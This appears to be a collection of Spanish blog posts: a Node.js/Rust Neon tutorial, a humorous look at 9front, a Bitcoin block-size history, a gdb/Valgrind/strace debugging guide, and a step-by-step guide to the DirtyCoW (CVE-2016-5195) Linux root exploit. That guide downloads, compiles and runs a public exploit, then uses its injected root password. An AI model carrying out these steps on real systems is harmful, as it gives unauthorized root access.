Tutorial de Neon – Combina Node.js con Rust

Hoy en día muchas webs se diseñan con Node.js. Es una solución fantástica para respuestas rápidas pero numerosos benchmarks han demostrado que su rendimiento empeora en respuestas complejas. Estos mismos benchmarks recomiendan usar Java o .NET si preveemos que nuestra aplicación web va a generar respuestas complejas. Sin embargo renunciar a las ventajas de Node.js no es del agrado de muchos. Afortunadamente hay otra solución, usar Rust. Todo ello gracias a Neon.

Con Neon podemos generar módulos para Node.js que son escritos y compilados en Rust con las ventajas que supone desde un punto de vista de rendimiento y con la certeza de que en Rust la seguridad está garantizada.

Usando Neon puedes desarrollar tu aplicación en Node.js y si alguna parte tiene problemas de rendimiento sustituirla por su equivalente en Rust. Para el ejemplo voy a hacer un módulo de Markdown.

Instalando Neon

En primer lugar instalamos la herramienta de Neon desde npm.

npm install -g neon-cli

Una vez esté instalado podemos usar la herramienta de Neon para construir un esqueleto de módulo. Este esqueleto tendrá dos partes, un punto de entrada para Node.js y otro para Rust.

neon new PROYECTO

Hacemos un npm install como nos indica. Esto no solo obtendrá dependencias de Node.js sino que también se encargará de compilar el código nativo en Rust.

El código Node.js

Nuestro módulo contiene un archivo de Node.js que sirve de punto de entrada. Allí lo único que se debe hacer es cargar el módulo en Rust y hacer de pegamento. Puede ser algo tan simple como esto:

var addon = require("../native");

module.exports = addon; // se exportan todos los métodos del módulo nativo

Aunque si queremos añadir un tratamiento específico también es posible.

var addon = require("../native");

module.exports = {
    render: function(str){
        return addon.render(str);
    }
}

El código en Rust

Nos dirigimos ahora al archivo native/src/lib.rs. Ahí definimos los métodos nativos que va a tener el módulo. Lo hacemos a través de la macro register_module!.

register_module!(m,{
    m.export("render",render)
});

Ahora vamos a implementar la función render, que toma el texto en Markdown y lo devuelve en HTML.

fn render(call: Call) -> JsResult<JsString> {
    let scope = call.scope; // obtener el contexto
    let md: Handle<JsString> = try!(try!(call.arguments.require(scope,0)).check::<JsString>()); // obtener primer argumento como JsString. aquí puede hacerse tratamiento de fallos
    let string = md.value(); // Pasar JsString a String
    let html: String = markdown::to_html(&string); // usamos la crate markdown para renderizar a html
    Ok(JsString::new(scope, &html).unwrap()) // devolvemos un JsString con el contenido del HTML
}

Las funciones que interactuan con Node deben devolver un JsResult de un tipo JsXXX, por ejemplo, JsString, JsUndefined o JsInteger. Siempre aceptan un argumento llamado de tipo Call que nos da toda la información necesaria y que podemos usar para sacar argumentos. El scope o contexto es muy importante y lo deberemos usar en las funciones que interactúen con Node.

Código completo del fichero Rust

#[macro_use]
extern crate neon;
extern crate markdown;

use neon::vm::{Call, JsResult};
use neon::js::JsString;
use neon::mem::Handle;

fn render(call: Call) -> JsResult<JsString> {
    let scope = call.scope;
    let md: Handle<JsString> = try!(try!(call.arguments.require(scope,0)).check::<JsString>());
    let string = md.value();
    let html: String = markdown::to_html(&string);
    Ok(JsString::new(scope, &html).unwrap())
}

register_module!(m, {
    m.export("render", render)
});

Y no te olvides de añadir la dependencia markdown al fichero Cargo.toml.

Probándolo

Es muy fácil probarlo. Con el REPL de Node podemos probar partes del módulo antes de publicarlo a npm.

Para abrir el REPL ejecuta Node sin argumentos

node

E introduce línea por línea lo que quieras probar:

var md = require("./");
md.render("__Esto es Markdown__");

Verás el resultado por la pantalla:

Ahora que ya sabemos que funciona podemos publicarlo a npm si queremos con:

npm publish

Aunque recuerda revisar antes el fichero package.json para especificar la licencia y la descripción. Una vez esté publicado su uso en un nuevo proyecto será muy sencillo y de forma transparente se compilará el código nativo.

var md = require("rust-markdown");
var http = require('http');
var fs = require("fs");

var server = http.createServer((req, res) => {
  fs.readFile("index.md","utf-8",function(err,data){
     var html = md.render(data);
     res.statusCode = 200;
     res.setHeader('Content-Type', 'text/html');
     res.end(html);
  });
});

server.listen(8080, "127.0.0.1", () => {
  console.log("Server running");
});



 

 

loading...

9front, un fork de Plan9 desarrollado por dementes

Hace poco, por IRC conocí la existencia de este sistema operativo, 9front, derivado de Plan9. En principio pensé que sería un fork normal y corriente. Cuando entré en su página descubrí sin embargo que era algo completamente distinto.

La 9community, formada por Henry Kissinger y Hillary Clinton, promotores del nuevo orden mundial

Su página web está cargada de minimalismo y memes, la gran mayoría de ellos inspirados en la guerra fría. Al entrar respiramos la esencia de 9front. Por ejemplo, el servidor web de la página es werc. Werc se define a sí mismo como el anti-framework anti-web. Sin bases de datos, solo ficheros y ¡programado en rc! Rc es un componente fundamental de 9front, una piedra angular. Se trata del lenguaje de shell de 9front. El equivalente en Linux sería Bash.

Werc es solo una de las cosas que acoge bajo su paraguas la organización Cat-V (de System-V, marcándose un chiste Unix de cuidado). El lema de Cat-V, Considered harmful (considerado peligroso) nos alerta de que encontraremos contenido que ha sido ajeno para la mayoría de la población. ¿Realmente estamos entrando en Cat-V en la iluminación de Internet? ¿Es entrar en Cat-V un equivalente moderno a salir de la cueva de Platón?

Algunos proyectos de Cat-V son:

  • 9P, un sistema de archivos distribuido. Es usado por 9front.
  • Acme, un editor de texto hecho por Rob Pike
  • Sam, otro editor de texto, también de Rob Pike
  • Fortune, una colección de archivos fortune de varios sistemas UNIX. Parémonos ante este fortune etiquetado dentro de OpenBSD:
(1) Alexander the Great was a great general.
(2) Great generals are forewarned.
(3) Forewarned is forearmed.
(4) Four is an even number.
(5) Four is certainly an odd number of arms for a man to have.
(6) The only number that is both even and odd is infinity.

Therefore, Alexander the Great had an infinite number of arms.

Corramos un tupido velo y sigamos.

¡La web oficial de Glenda!

Por si te lo preguntas, sí, la mascota de Go se encuentra inspirada en Glenda

El subdominio harmful está reservado para pensamientos y para expresar opiniones.

Se habla de economía, películas, periodismo, relaciones personales (de tratar con estúpidos, un artículo muy bueno), de lo políticamente correcto, de ciencia, de la seguridad post 11S, de sociedad (y para mi sorpresa contiene una opinión que yo también tengo pero que apenas he visto, el matrimonio debe ser eliminado del sistema legal de los países para pasar a ser algo cultural/religioso, similar al bautizo), se habla de software, de estándares y de palabras. Pretenden hablar de: SQL, fútbol, la Matrix, svn, postmodernismo, gnu, religión, vi, educación, apache, respeto, teoría de cuerdas, complejidad, comida ‘orgánica’, etanol, igualdad, metadata, lógica de “sentirse bien”, teoría del trabajo, …

HTTP 0.2, un intento de simplificar HTTP.

NineTimes, la web de noticias del mundo Plan9, Inferno y 9front.

Y por supuesto, un archivo de citas célebres.

Volvamos a 9front

Continué en la página de 9front, vi que tenía un Código de Conducta (algo que han introducido algunos proyectos open source pero que bajo mi punto de vista es innecesario y en algunos casos peligroso). Sin embargo en 9front no hay un código de conducta, hay varios. Cada vez que te metes en la página sale uno distinto. Y todos son muy random. Desde el credo en latín hasta una especie de receta para crear desarrolladores químicamente. La mitad son cánticos de alabanza a 9front. Yo veo en esto una sátira perfecta de lo que son algunos Códigos de Conducta.

Luego vemos para descargar las ISO, pero a estas alturas es lo que menos importa. A continuación encontramos una recopilación de webs alternativas para 9front. Hay una basada en 4chan, pero esta me gusta más:

Y llegamos a mi sección favorita, Propaganda.

Porque el boot de 9front es explosivo, nuclearmente explosivo
La comunidad 9front

Los altos mandos de 9front
The front fell off

Man es un comando muy propenso a chistes
Mothra es el navegador web de 9front
Orwell dirige NineTimes
El comando timesync no es más que una modernización de Stonehenge

Posiblemente haga una entrada seria hablando de 9front, pero es que la comunidad 9front tiene mucha tela que cortar.

Y donde dije dementes, quise decir genios. Son absolutos genios.

Usar la vulnerabilidad DirtyCoW para convertirse en root en Linux

Hace ya unas semanas salió a la luz la vulnerabilidad conocida como DirtyCoW, registrada bajo el nombre de CVE-2016-5195. Esta vulnerabiliad permite a cualquier usuario con acceso a la máquina de forma limitada llegar a convertirse en root y tomar el control total de la máquina. Tal y como nos decía La Mirada del Replicante:

Clasificada de forma oficial como CVE-2016-5195 y descubierto por Phil Oester –un experto en seguridad y desarrollador de Linux–, Dirty COW (copy-on-write) permite una escalada de privilegios de forma remota o local.

….

La vulnerabilidad ha estado presente durante muchos años (desde la versión 2.6.22 del kernel, liberada en 2007) e incluso Linus fue consciente de ella en su momento.

Hoy vamos a ver como aprovechar esta situación. Válida para todos los sistemas con kernel Linux, incluido Android (aunque allí el procedimiento no es tan sencillo).

dirty-cow

Comprobando requisitos

En primer lugar la vulnerabilidad requiere disponer de acceso a la máquina con un usuario no-privilegiado. Puede ser de forma local o remota vía SSH, pero este requisito ya hace que a muchos servidores no les afecte de manera directa.

La vulnerabilidad además ya se encuentra parcheada en muchas distros GNU/Linux y no se podrá realizar. Es por tanto requisito que la versión del kernel esté entre 2.6.22 y 4.4.26. Puedes comprobar la versión del kernel con el comando uname.

uname -a

Descargando el exploit

Ahora el siguiente paso es descargar el exploit. Yo voy a usar el exploit diseñado por Gabriele Bonacini y que lo podéis descargar desde GitHub, bien con un fichero ZIP o bien mediante el programa Git. Puedes descargarlo desde la línea de comandos así:

wget -O dirtycow.zip https://github.com/AdrianArroyoCalle/CVE-2016-5195/archive/master.zip

unzip dirtycow.zip

cd CVE-2016-5195-master

Ahora debemos compilar el pequeño programa en C++ que se ha descargado. Simplemente escribimos en la terminal:

make

Ejecutando el exploit

Ya estamos listos para ejecutar el exploit. Abrimos desde la terminal el programa que acabamos de compilar.

./dcow

Este exploit, si funciona correctamente, nos dirá por pantalla que la contraseña del root es dirtyCowFun. Si tarda demasiado el programa entonces el exploit no ha funcionado. ¿Qué es lo que ha hecho? Aprovechando la vulnerabilidad Dirty CoW ha logrado cambiar, solo en memoria, el contenido del archivo /etc/passwd, que es donde Linux guarda las contraseñas. Este cambio como repito solo se produce en la memoria, pues el archivo físico en el disco sigue inalterado. Si reiniciamos la máquina habrá que repetir el proceso. Esto tiene la gravedad de que es fácil no darse cuenta de si la vulnerabilidad ha sido explotada, el atacante simplemente reinicia la máquina con reboot y la contraseña del root vuelve a su estado habitual.

Sabiendo esto, ya podemos escribir con total seguridad

su

Y cuando nos pregunte la contraseña, escribimos dirtyCowFun.

Enhorabuena, si has llegado hasta aquí conseguiste escalar privilegios y ya eres root. Ahora no seas demasiado malo, te recuerdo que un gran poder conlleva una gran responsabilidad.

La Criptonovela del verano: una historia en tres capítulos (Capítulo 1)

Este verano el mundo de las criptodivisas nos ha deleitado con tres culebrones. Cada culebrón nos expone fortalezas y debilidades de estos sistemas y lo que es seguro es que forman parte de su historia, para bien o para mal.

Capítulo 1: Bitcoin y su escalabilidad, tamaño del bloque

Esto es una auténtica guerra. Bandos muy definidos, hostilidad, el debate comenzó hace ya tiempo (abril de 2015, puede que antes) pero sigue sin finalizar. ¿Debería Bitcoin aumentar el tamaño de los bloques? Y más inquietante, ¿cómo debería hacerse?

Guerra

El protocolo actual de Bitcoin permite ejecutar un máximo de 7 transacciones por segundo (3 según otras fuentes). Este número era suficiente cuando Bitcoin surgió y solo lo usaban cuatro gatos pero ahora empieza a haber problemas que se agravarían aún más si se consigue popularizar Bitcoin. Por ello, para aumentar el número de transacciones simultáneas se hace preciso aumentar el tamaño del bloque (actualmente 1 MB) que contiene las transacciones pendientes de verificar.

TamañoDelBloque

El límite en el tamaño de los bloques fue una solución temporal creada por Satoshi Nakamoto hasta que se pudieran usar clientes ligeros, sin embargo nunca se ha modificado.

Esta cuestión no ha contado con el consenso habitual que se lograba para implementar otras características. Hay intereses en ambas direcciones. Gavin Andresen y Mike Hearn publicaron ya a finales de 2015 un fork, denominado Bitcoin XT, que implementaba la proposición BIP 101. Además añadía algunas mejoras de seguridad y usabilidad. El objetivo era lograr que el 11 de enero de 2016, al menos el 75% de los nodos de la red Bitcoin funcionasen con Bitcoin XT. Si lo conseguían, conseguirían imponer sus normas y Bitcoin Core (el Bitcoin original) se bifurcaría (un hard fork). Los mineros de cada red seguirían minando pero ya no funcionarían en la misma red, habría dos.

Gavin Andresen, fue el designado por Satoshi Nakamoto para desarrollar Bitcoin
Gavin Andresen, fue el designado por Satoshi Nakamoto para desarrollar Bitcoin

Sin embargo esto generó mucha crítica en la comunidad. Por una parte tener dos cadenas de bloques podría suponer un peligro de doble gasto y la credibilidad de Bitcoin se vería afectada por haber “dos bitcoines”. Otra crítica tuvo que ver con la privacidad. Bitcoin XT recogía las IP, también de usuarios que usaban Tor. Las críticas llegan al modelo de gobernación de Bitcoin pues en última estancia Bitcoin XT proponía cambiar la manera de tomar decisiones.

Bitcoin XT guardaba las IP de los usuarios rompiendo con la privacidad característica de Bitcoin
Bitcoin XT guardaba las IP de los usuarios rompiendo con la privacidad característica de Bitcoin

Más tarde, Satoshi Nakamoto (o alguien que se hacía pasar por él) afirmaba que él veía la necesidad de cambios en Bitcoin Core, pero que Bitcoin XT le parecía peligroso. Finalmente Bitcoin XT no logró sus objetivos.

En este punto vamos a revisar los motivos que exponen aquellos que no quieren aumentar el tamaño del bloque.

  • Las tarifas de transacción son muy bajas y no subirán hasta que el espacio en el bloque sea escaso. Necesitamos un límite de tamaño por bloque para asegurar la escasez y por lo tanto ponerle un precio a las transacciones.
  • ¿Qué pasaría si el mercado fijase un tamaño de bloque tan grande que sólo Google se pudiera permitir mantener funcionando nodos completos?
  • ¿Y si las tarifas de transacción fijadas por el mercado no pagan lo suficiente como para mantener un poder computacional que proteja a la red de otros adversarios económicamente fuertes?
  • ¿Y si la competencia resulta en que la rentabilidad del minado es tan baja que saca del juego a los pools más pequeños y la minería Bitcoin acaba siendo un monopolio?

Argumentos tomados de ElBitcoin.org

Estos argumentos son muy parecidos entre sí y tienen que ver con la minería. Las objeciones al límite del tamaño del bloque tienen que ver con las recompensas por cómputo. Si el tamaño del bloque aumenta, los mineros van a tener que realizar más trabajo para recibir la recompensa por bloque minado (25 BTC). La otra recompensa, basada en las comisiones por transacción sigue siendo tan baja que sigue siendo preferible minar para conseguir un bloque entero. Los mineros van a preferir bloques pequeños. Además se expone la posibilidad de que los bloques sean tan grandes que Bitcoin acabe centralizándose. Esto último de hecho es algo que ya ocurre. Los grandes nodos chinos copan gran parte del mercado.

Sigamos con la historia. En febrero de 2016 una encuesta a usuarios de Bitcoin revelaba que el 90% de ellos querían aumentar el tamaño del bloque hasta por lo menos 2MB. Entonces aparece Bitcoin Classic. Bitcoin Classic, también diseñado por Gavin Andresen, propone aumentar el tamaño de bloque a 2MB. No realiza ningún cambio más sobre Bitcoin Core. El anuncio de este hard fork fue eliminado de Reddit, lo que hizo pensar a muchos que cierta parte del mundo Bitcoin censuraba a Classic.

Classic obtuvo el apoyo de mucha más gente en mucho menos tiempo. Empresas como Coinbase, Bitcoin.com, Xapo, Blockchain.info,… apoyaron Classic desde el principio, algo que evidenciaba el alejamiento de los desarrolladores de Core con parte de la comunidad. Para que Classic se imponga tiene que cumplirse la misma condición que con Bitcoin XT, 75% de la potencia de la red ha de funcionar usando Classic.

BitcoinClassic

Bitcoin Core no ha sido ajena y ha propuesto sus soft forks, pequeñas modificaciones, más conservadoras, que no eliminan la compatibilidad, proponiendo un modelo de “testigos segregados”, que no aumenta el tamaño del bloque sino que reduce la información de cada transacción de manera que entran más transacciones en un bloque del mismo tamaño. La postura de Core fue apoyada por OneName, GreenAddress,…

Los testigos segregados han sido criticados ya que según parte de la comunidad solo resolverían el problema a corto plazo. Esta solución no obstante parece ser también del agrado de Classic, que añadiría ambas cosas: testigos segregados y aumento del tamaño de bloque. Este aumento primero sería fijo, subiendo a 2MB, posteriormente se trabajaría según la propuesta de Stephen Pair, CEO de BitPay, en un modelo de crecimiento dinámico. Sin embargo BitPay ya se ha adelantado y actualmente están desarrollando un fork de Bitcoin Core según sus propuestas, esta versión es BitPay Core y es experimental.

La cosa se complica más pues tenemos Bitcoin Unlimited. Se trata de un sistema donde cada nodo especificaría el tamaño de bloque que le gustase. Concretamente empezaría en un 1MB y el tamaño podría verse aumentado según el minero. Este proyecto sin embargo no ha atraído la atención suficiente y aunque sigue en activo, no cuenta con un apoyo suficiente.

Blockstream

Ya en 2015 entra en juego también Blockstream, una compañía dedicada a sidechains o cadenas laterales (una cadena lateral es un producto paralelo pero que toma referencia en Bitcoin, similar a las monedas de distintos países con un patrón oro). Aprovechan la potencia de Bitcoin con otros propósitos. Su producto principal es Liquid. Las transacciones en Liquid no son procesadas por los mineros. Para usar la red lateral Liquid es necesario pagar a Blockstream una cuota mensual. Esto no sería ningún problema si no fuera porque muchos desarrolladores de Bitcoin Core están en nómina de Blockstream. Una parte de la comunidad les acusa de querer centralizar Bitcoin y para ello llevarán Bitcoin al colapso, con el tamaño de bloque sin modificar para que la gente use soluciones mejores, en este caso las de Blockstream. Si la gente se queda sin espacio en la cadena pública deberán pasarse a la cadena de Blockstream, que si tendrá espacio para tus transacciones.

Sidechain

La desconfianza en Blockstream creció cuando firmó contratos con mineros chinos para poder sustentar Core y las cadenas laterales derivadas de él, productos de Blockstream. Estos contratos han hecho sospechar a mucha gente, que empezó a demonizar contra ellos. Estos mensajes han sido borrados sistemáticamente de ciertos foros y subreddits que se creen en control de Blockstream. Así pues Blockstream parece querer controlar Bitcoin junto con la opinión pública.

Algunos afirman que Blockstream no durará mucho, que caerá, que Classic triunfará. Otros afirman que el resto de desarrolladores de Core no dejarán que Blockstream se oponga a la modifiación del tamaño de bloque y que Core evolucionará.

Bitcache

Y ahora… Bitcache. El nuevo proyecto de Kim Dotcom (fundador de Megaupload). Todavía no ha visto la luz pero este proyecto cuenta con la aprobación de BankToTheFuture. Se trataría de un sistema que relacionaría archivos con transacciones Bitcoin y parece ser que resolvería los problemas de escalabilidad. Su salida se ha planeado para enero de 2017. Estaré atento.

Y en los siguientes capítulos

  • Ethereum y la DAO
  • El robo de Bitfinex

Suscríbete por correo electrónico para no perderte los dos episodios que vienen.

Mi primer debug. Primeros pasos con gdb, Valgrind y strace.

¿A quién no le ha pasado? Estas programando en C++ y de repente cuando antes todo iba bien, ahora el programa se cierra inesperadamente (un crash) y no sabes el motivo. En algunos lenguajes como Rust, el propio compilador y el lenguaje evitan estas situaciones, pero en C++ la situación es mucho más estimulante.

Recientemente, trabajando en Kovel tuve uno de estos incidentes inesperados. Pero más inesperada fue su aparición, pues en Debian, donde programo actualmente, el programa se ejecutaba normalmente. Sin embargo en Windows el programa no llegaba a arrancar. Pensé que sería una diferencia Linux-Windows pero al probar en Fedora ocurrió lo mismo que en Windows, no llegaba a arrancar. Si encontraba el fallo en Fedora, que no se daba en Debian, resolvería también el fallo en Windows.

Preparando la aplicación y el entorno

Símbolos de depuración

Aunque no es obligatorio, es recomedable compilar los ejecutables que vayamos a someter a depuración con símbolos de depuración. En Windows se usan archivos independientes (ficheros PDB) mientras que en Linux se usan los mismos ejecutables con más metadatos en su interior. En GCC simplemente hay que añadir la opción -g para retener los datos de depuración.

Ficheros core

Ahora sería conveniente activar la generación de los ficheros core en el sistema. En algunas distro ya está activado:

ulimit -c unlimited 

Los ficheros core los usaremos si nuestra aplicación se paró en un punto de difícil acceso o que no podemos recrear nosotros mismos.

Instalar gdb, Valgrind y los símbolos de las librerías

Ahora vamos a instalar el componente más importante, el debugger, la aplicación que usaremos para analizar la ejecución del programa.

gdb

# En Fedora sudo dnf install gdb 

Además querremos tener los símbolos de depuración de las bibliotecas que use nuestro ejecutable. Con DNF, en Fedora, el proceso usa un comando específico:

sudo dnf debuginfo-install wxGTK SDL libstdc++ # Y las librerías que usemos 

Y si queremos mantener los símbolos de depuración actualizados:

sudo dnf --enablerepo=updates-debuginfo update 

Vamos a usar Valgrind también, aunque menos

sudo dnf install valgrind 

Cazando al vuelo

Supongamos que sabemos como generar el error. Llamamos a nuestro programa desde gdb:

gdb ./MiPrograma 

Entraremos en gdb, con su propios comandos de herramientas. Lo primero que haremos será iniciar el programa, con el comando run o r

(gdb) r 

El programa se iniciará. Nosotros provocaremos el error. Una vez lo hayamos provocado podremos introducir más comandos. Vamos a ver que pasos se han seguido para producir el error.

(gdb) bt full 

Y desde aquí podemos inspeccionar que funciones fueron llamadas justo antes de que el programa petase. En este punto también podemos buscar el valor de ciertas variables que nos interesen con p nombrevariable.

Volviendo al pasado

No sabemos como se produjo el error, pero tenemos un fichero core que nos va a permitir restablecer la situación del pasado para poder analizarla. Llamamos a gdb con el fichero core y nuestra aplicación.

gdb ./MiPrograma ./core 

Una vez dentro podemos dirigirnos al punto crítico.

(gdb) where 

Y analizamos como antes.

Valgrind y fugas de memoria

Valgrind es muy usado para comprobar en que partes nuestro programa tiene fugas de memoria. En determinados casos puede ser más útil que gdb.

valgrind --leak-check=yes ./MiPrograma 

Nuestro programa se ejecutará aproximadamente 20 o 30 veces más lento, pero se nos informará en todo momento de la gestión errónea de memoria que está produciéndose. En alguna situación será interesante saber de donde provienen estos fallos con mayor precisión, la opción –track-origins=yes es nuestra amiga.

valgrind --leak-check=yes --track-origins=yes ./MiPrograma 

Valgrind es muy estricto y puede generar falsos positivos. Hay varias GUI disponibles para Valgrind, una de ellas es KCacheGrind.

KCacheGrind

Otra de ellas es Valkyrie

Valkyrie

¿Y si algún fichero no existe?

Para terminar vamos a suponer que nuestro programa falla porque hay un archivo que no logra encontrar y no puede abrirlo. Gracias a strace es posible saber que archivos está abriendo el programa.

strace -eopen ./MiPrograma 

Y nos saldrá en tiempo real los archivos que ha abierto nuestro programa.

Strace

Y espero que con este pequeño resumen ya sepais que hacer cuando vuestro programa se cierra inesperadamente.